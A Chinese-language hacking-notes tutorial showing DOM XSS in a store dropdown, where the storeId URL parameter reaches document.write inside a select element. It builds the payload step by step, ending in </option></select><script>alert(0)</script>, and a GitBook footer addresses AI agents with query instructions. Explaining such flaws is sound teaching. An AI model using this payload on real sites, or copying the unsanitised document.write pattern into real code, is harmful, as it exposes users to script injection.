> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-dom-with-document-write-inside-a-select.md).

# select 中的 document.write DOM XSS

### 在 select 元素中使用来源 location.search 通过 document.write 注入点导致的 DOM XSS

<figure><img src="/files/b01bf91ea303ad4791ac6694d753b6a2540c94e5" alt=""><figcaption></figcaption></figure>

以下代码动态生成一个 `<select>` 包含不同城市的下拉菜单，并选择在 **storeId** URL 中传递的参数：

```javascript
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");

document.write('<select name="storeId">');

if (store) {
  document.write('<option selected>' + store + "</option>");
}

for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) {
    continue;
  }
  document.write("<option>" + stores[i] + "</option>");
}

document.write("</select>");
```

参数示例：

```
product?productId=2&storeId=Jordan
```

* 这会向下拉列表中添加一个新选项。

<figure><img src="/files/4f7b705073ad8d81a0a518bafd701b47be5d36c0" alt=""><figcaption></figcaption></figure>

通过手动闭合 `<option>` 标签：

```javascript
</option>Jordan
```

`<select>` 也可以闭合：

```javascript
</option></select>Jordan
```

<figure><img src="/files/ae701992631c0f51cc1501635ca2c1274a8b1ce9" alt=""><figcaption></figcaption></figure>

最终注入以运行 JavaScript：

```javascript
</option></select><script>alert(0)</script>
```

<figure><img src="/files/c96383759d25255bee86ca7c5e3c516a2ec73b53" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/xss-dom-with-document-write-inside-a-select.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
